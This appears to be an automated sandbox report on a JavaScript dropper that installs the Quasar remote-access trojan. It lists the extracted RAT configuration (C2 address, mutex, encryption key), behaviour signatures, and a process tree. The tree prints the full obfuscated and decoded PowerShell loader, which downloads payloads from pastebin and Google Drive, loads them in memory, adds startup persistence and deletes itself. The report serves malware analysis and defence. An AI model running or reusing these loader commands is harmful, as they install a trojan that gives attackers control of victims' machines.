Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/07/2024, 00:59

General

  • Target
    Pix_id8680.js
  • Size 18KB
  • Sample240724-bb5m9aydpm
  • SHA256 e38b8f0ae53c24d62f7b0580891be2bfc4a3c855dcf2ee01fc64c0439777bdc9
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • ps1.dropper

    https://pastebin.com/raw/gk5zDwdG

  • exe.dropper

    https://drive.google.com/uc?export=download&id=

Extracted

Family
  • quasar

Version
  • 2.8.0.1

Botnet
  • Recomeco

C2
  • 15.235.61.212:5552

Mutex
  • rQp3LFG3Jkv7ob8MOH

Attributes
  • encryption_key

    VYA1GjjnuckdAWisXsLT

  • install_name

    Venom.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Venom Client Startup

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Pix_id8680.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1820
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $FDGOy_TzTjf = 'JレBWレGUレcgBwレG8レdwBlレHIレIレレ9レCレレJレBoレG8レcwB0レC4レVgBlレHIレcwBpレG8レbgレuレE0レYQBqレG8レcgレuレEUレcQB1レGEレbレBzレCgレMgレpレDsレSQBmレCレレKレレkレFYレZQByレHレレbwB3レGUレcgレpレCレレewレkレHレレYQBzレHQレYQレgレD0レIレBbレFMレeQBzレHQレZQBtレC4レSQBPレC4レUレBhレHQレaレBdレDoレOgBHレGUレdレBUレGUレbQBwレFレレYQB0レGgレKレレpレDsレZレBlレGwレIレレoレCQレcレBhレHMレdレBhレCレレKwレgレCcレXレBVレHレレdwBpレG4レLgBtレHMレdQレnレCkレOwレkレFUレUgBMレEsレQgレgレD0レIレレnレGgレdレB0レHレレcwレ6レC8レLwBkレHIレaQB2レGUレLgBnレG8レbwBnレGwレZQレuレGMレbwBtレC8レdQBjレD8レZQB4レHレレbwByレHQレPQBkレG8レdwBuレGwレbwBhレGQレJgBpレGQレPQレnレDsレJレBXレGkレbgBWレGUレcgレgレD0レIレレkレGUレbgB2レDoレUレBSレE8レQwBFレFMレUwBPレFIレXwBBレFIレQwBIレEkレVレBFレEMレVレBVレFIレRQレuレEMレbwBuレHQレYQBpレG4レcwレoレCcレNgレ0レCcレKQレ7レGkレZgレgレCgレJレBXレGkレbgBWレGUレcgレpレCレレewレkレFUレUgBMレEsレQgレgレD0レIレレoレCQレVQBSレEwレSwBCレCレレKwレgレCcレVwレxレDEレMgBBレGQレUレBmレEkレMレBQレEMレNwBoレGIレcwBjレGkレXwレ1レF8レMレBfレGUレVQレ3レE4レdwBNレFoレaレBmレDQレeレレnレCkレIレレ7レH0レZQBsレHMレZQレgレHsレJレBVレFIレTレBLレEIレIレレ9レCレレKレレkレFUレUgBMレEsレQgレgレCsレIレレnレDEレYgByレGoレNQBqレHEレbgBxレFIレeレBDレEQレNgBWレGgレZgBoレEEレbgレyレHIレYwBWレGYレcwBSレG8レNwBEレDgレZwByレCcレKQレgレDsレfQレ7レCQレTwBDレFIレaQBhレCレレPQレgレCgレTgBlレHcレLQBPレGIレagBlレGMレdレレgレE4レZQB0レC4レVwBlレGIレQwBsレGkレZQBuレHQレKQレgレDsレJレBPレEMレUgBpレGEレLgBFレG4レYwBvレGQレaQBuレGcレIレレ9レCレレWwBTレHkレcwB0レGUレbQレuレFQレZQB4レHQレLgBFレG4レYwBvレGQレaQBuレGcレXQレ6レDoレVQBUレEYレOレレgレDsレJレBPレEMレUgBpレGEレLgBEレG8レdwBuレGwレbwBhレGQレRgBpレGwレZQレoレCQレVQBSレEwレSwBCレCwレIレレkレHレレYQBzレHQレYQレgレCsレIレレnレFwレVQBwレHcレaQBuレC4レbQBzレHUレJwレpレCレレOwレkレEYレbwBsレGQレUwB0レGEレcgB0レHUレcレレgレD0レIレレoレCcレQwレ6レFwレVQBzレGUレcgBzレFwレJwレgレCsレIレBbレEUレbgB2レGkレcgBvレG4レbQBlレG4レdレBdレDoレOgBVレHMレZQByレE4レYQBtレGUレIレレpレDsレJレBmレGkレbレBlレCレレPQレgレCgレJレBwレGEレcwB0レGEレIレレrレCレレJwBcレFUレcレB3レGkレbgレuレG0レcwB1レCcレKQレ7レCレレcレBvレHcレZQByレHMレaレBlレGwレbレレuレGUレeレBlレCレレdwB1レHMレYQレuレGUレeレBlレCレレJレBmレGkレbレBlレCレレLwBxレHUレaQBlレHQレIレレvレG4レbwByレGUレcwB0レGEレcgB0レCレレOwレgレEMレbwBwレHkレLQBJレHQレZQBtレCレレJwレlレEQレQwBQレEoレVQレlレCcレIレレtレEQレZQBzレHQレaQBuレGEレdレBpレG8レbgレgレCgレIレレkレEYレbwBsレGQレUwB0レGEレcgB0レHUレcレレgレCsレIレレnレFwレQQBwレHレレRレBhレHQレYQBcレFIレbwBhレG0レaQBuレGcレXレBNレGkレYwByレG8レcwBvレGYレdレBcレFcレaQBuレGQレbwB3レHMレXレBTレHQレYQByレHQレIレBNレGUレbgB1レFwレUレByレG8レZwByレGEレbQBzレFwレUwB0レGEレcgB0レHUレcレレnレCレレKQレgレC0レZgBvレHIレYwBlレCレレOwBwレG8レdwBlレHIレcwBoレGUレbレBsレC4レZQB4レGUレIレレtレGMレbwBtレG0レYQBuレGQレIレレnレHMレbレBlレGUレcレレgレDEレOレレwレCcレOwレgレHMレaレB1レHQレZレBvレHcレbgレuレGUレeレBlレCレレLwByレCレレLwB0レCレレMレレgレC8レZgレgレH0レZQBsレHMレZQレgレHsレWwBTレHkレcwB0レGUレbQレuレE4レZQB0レC4レUwBlレHIレdgBpレGMレZQBQレG8レaQBuレHQレTQBhレG4レYQBnレGUレcgBdレDoレOgBTレGUレcgB2レGUレcgBDレGUレcgB0レGkレZgBpレGMレYQB0レGUレVgBhレGwレaQBkレGEレdレBpレG8レbgBDレGEレbレBsレGIレYQBjレGsレIレレ9レCレレewレkレHQレcgB1レGUレfQレ7レFsレUwB5レHMレdレBlレG0レLgBOレGUレdレレuレFMレZQByレHYレaQBjレGUレUレBvレGkレbgB0レE0レYQBuレGEレZwBlレHIレXQレ6レDoレUwBlレGMレdQByレGkレdレB5レFレレcgBvレHQレbwBjレG8レbレレgレD0レIレBbレFMレeQBzレHQレZQBtレC4レTgBlレHQレLgBTレGUレYwB1レHIレaQB0レHkレUレByレG8レdレBvレGMレbwBsレFQレeQBwレGUレXQレ6レDoレVレBsレHMレMQレyレDsレJレBhレHYレUレBDレGEレXwBnレHEレQQBhレHUレIレレ9レCレレKレBOレGUレdwレtレE8レYgBqレGUレYwB0レCレレTgBlレHQレLgBXレGUレYgBDレGwレaQBlレG4レdレレpレDsレJレBhレHYレUレBDレGEレXwBnレHEレQQBhレHUレLgBFレG4レYwBvレGQレaQBuレGcレIレレ9レCレレWwBTレHkレcwB0レGUレbQレuレFQレZQB4レHQレLgBFレG4レYwBvレGQレaQBuレGcレXQレ6レDoレVQBUレEYレOレレ7レCQレYQB2レFレレQwBhレF8レWgBiレEsレaQBzレCレレPQレgレCQレYQB2レFレレQwBhレF8レZwBxレEEレYQB1レC4レRレBvレHcレbgBsレG8レYQBkレFMレdレByレGkレbgBnレCgレIレレnレGgレdレB0レHレレcwレ6レC8レLwBwレGEレcwB0レGUレYgBpレG4レLgBjレG8レbQレvレHIレYQB3レC8レZwBrレDUレegBEレHcレZレBHレCcレIレレpレDsレJレBhレHYレUレBDレGEレXwBnレHEレQQBhレHUレIレレ9レCレレJレBhレHYレUレBDレGEレXwBnレHEレQQBhレHUレLgBEレG8レdwBuレGwレbwBhレGQレUwB0レHIレaQBuレGcレKレレgレCQレYQB2レFレレQwBhレF8レWgBiレEsレaQBzレCレレKQレ7レFsレQgB5レHQレZQBbレF0レXQレgレCQレYQB2レFレレQwBhレF8レVQBRレFレレcレBaレCレレPQレgレFsレUwB5レHMレdレBlレG0レLgBDレG8レbgB2レGUレcgB0レF0レOgレ6レEYレcgBvレG0レQgBhレHMレZQレ2レDQレUwB0レHIレaQBuレGcレKレレgレCQレYQB2レFレレQwBhレF8レZwBxレEEレYQB1レC4レUgBlレHレレbレBhレGMレZQレoレCレレJwCTIToレkyEnレCレレLレレgレCcレQQレnレCレレKQレgレCkレOwBbレFMレeQBzレHQレZQBtレC4レQQBwレHレレRレBvレG0レYQBpレG4レXQレ6レDoレQwB1レHIレcgBlレG4レdレBEレG8レbQBhレGkレbgレuレEwレbwBhレGQレKレレgレCQレYQB2レFレレQwBhレF8レVQBRレFレレcレBaレCレレKQレuレEcレZQB0レFQレeQBwレGUレKレレgレCcレQwBsレGEレcwBzレEwレaQBiレHIレYQByレHkレMwレuレEMレbレBhレHMレcwレxレCcレIレレpレC4レRwBlレHQレTQBlレHQレaレBvレGQレKレレgレCcレcレByレEYレVgBJレCcレIレレpレC4レSQBuレHYレbwBrレGUレKレレkレG4レdQBsレGwレLレレgレFsレbwBiレGoレZQBjレHQレWwBdレF0レIレレoレCレレJwB0レHgレdレレuレDEレLwレyレDEレMgレuレDEレNgレuレDUレMwレyレC4レNQレxレC8レLwレ6レHレレdレB0レGgレJwレgレCwレIレレnレCUレRレBDレFレレSgBVレCUレJwレsレCレレJwBUレHIレdQBlレCcレIレレpレCレレKQレ7レH0レOwレ=';$FDGOy_TzTjf = $FDGOy_TzTjf.replace('レ','A');$FDGOy_TzTjf = [System.Convert]::FromBase64String( $FDGOy_TzTjf ) ;$FDGOy_TzTjf = [System.Text.Encoding]::Unicode.GetString( $FDGOy_TzTjf );$FDGOy_TzTjf = $FDGOy_TzTjf.replace('%DCPJU%','C:\Users\Admin\AppData\Local\Temp\Pix_id8680.js');powershell $FDGOy_TzTjf
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3296
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Verpower = $host.Version.Major.Equals(2);If ($Verpower) {$pasta = [System.IO.Path]::GetTempPath();del ($pasta + '\Upwin.msu');$URLKB = 'https://drive.google.com/uc?export=download&id=';$WinVer = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ($WinVer) {$URLKB = ($URLKB + 'W112AdPfI0PC7hbsci_5_0_eU7NwMZhf4x') ;}else {$URLKB = ($URLKB + '1brj5jqnqRxCD6VhfhAn2rcVfsRo7D8gr') ;};$OCRia = (New-Object Net.WebClient) ;$OCRia.Encoding = [System.Text.Encoding]::UTF8 ;$OCRia.DownloadFile($URLKB, $pasta + '\Upwin.msu') ;$FoldStartup = ('C:\Users\' + [Environment]::UserName );$file = ($pasta + '\Upwin.msu'); powershell.exe wusa.exe $file /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Pix_id8680.js' -Destination ( $FoldStartup + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$avPCa_gqAau = (New-Object Net.WebClient);$avPCa_gqAau.Encoding = [System.Text.Encoding]::UTF8;$avPCa_ZbKis = $avPCa_gqAau.DownloadString( 'https://pastebin.com/raw/gk5zDwdG' );$avPCa_gqAau = $avPCa_gqAau.DownloadString( $avPCa_ZbKis );[Byte[]] $avPCa_UQPpZ = [System.Convert]::FromBase64String( $avPCa_gqAau.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $avPCa_UQPpZ ).GetType( 'ClassLibrary3.Class1' ).GetMethod( 'prFVI' ).Invoke($null, [object[]] ( 'txt.1/212.16.532.51//:ptth' , 'C:\Users\Admin\AppData\Local\Temp\Pix_id8680.js', 'True' ) );};"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5064
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Daft SyS\\x2.ps1"
          4⤵
          • Adds Run key to start application
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3332
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Daft SyS\ejslm.ps1"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2368
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:60
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Pix_id8680.js"
          4⤵
            PID:2244

    Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          ejslm.ps1

          • Path C:\Users\Admin\AppData\LocalLow\Daft SyS\ejslm.ps1
          • Size 3.7MB
          • SHA256 6a2fd6b6185ab4cc80f964862b2ae7c9974f2022af411c931c9f1a97de277d51
          • MD5 SHA1 SHA512 SSDEEP

          x2.ps1

          • Path C:\Users\Admin\AppData\LocalLow\Daft SyS\x2.ps1
          • Size 313B
          • SHA256 8e3b6d7aef1b48812abe161038aa48b92dde53953e4111ebac3a79f4c047e7a6
          • MD5 SHA1 SHA512

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 613983c3b08559da98de4c799cced0b0d626c35e2065a85ba20232c5a088b1e4
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_14ecgmkd.nrw.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_14ecgmkd.nrw.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/60-61-0x00000000052A0000-0x0000000005306000-memory.dmp

          memory/60-62-0x00000000058F0000-0x0000000005902000-memory.dmp

          memory/60-63-0x00000000064F0000-0x000000000652C000-memory.dmp

          memory/60-59-0x0000000005920000-0x0000000005EC4000-memory.dmp

          memory/60-60-0x0000000005370000-0x0000000005402000-memory.dmp

          memory/60-64-0x0000000006C30000-0x0000000006C3A000-memory.dmp

          memory/60-57-0x0000000000400000-0x00000000004EC000-memory.dmp

          memory/2368-56-0x0000011BE4B10000-0x0000011BE4B1A000-memory.dmp

          memory/3296-42-0x00007FFE6B120000-0x00007FFE6BBE1000-memory.dmp

          memory/3296-0-0x00007FFE6B123000-0x00007FFE6B125000-memory.dmp

          memory/3296-12-0x00007FFE6B120000-0x00007FFE6BBE1000-memory.dmp

          memory/3296-11-0x00007FFE6B120000-0x00007FFE6BBE1000-memory.dmp

          memory/3296-1-0x0000021873350000-0x0000021873372000-memory.dmp

          memory/5064-22-0x000002EFC1EF0000-0x000002EFC1EFA000-memory.dmp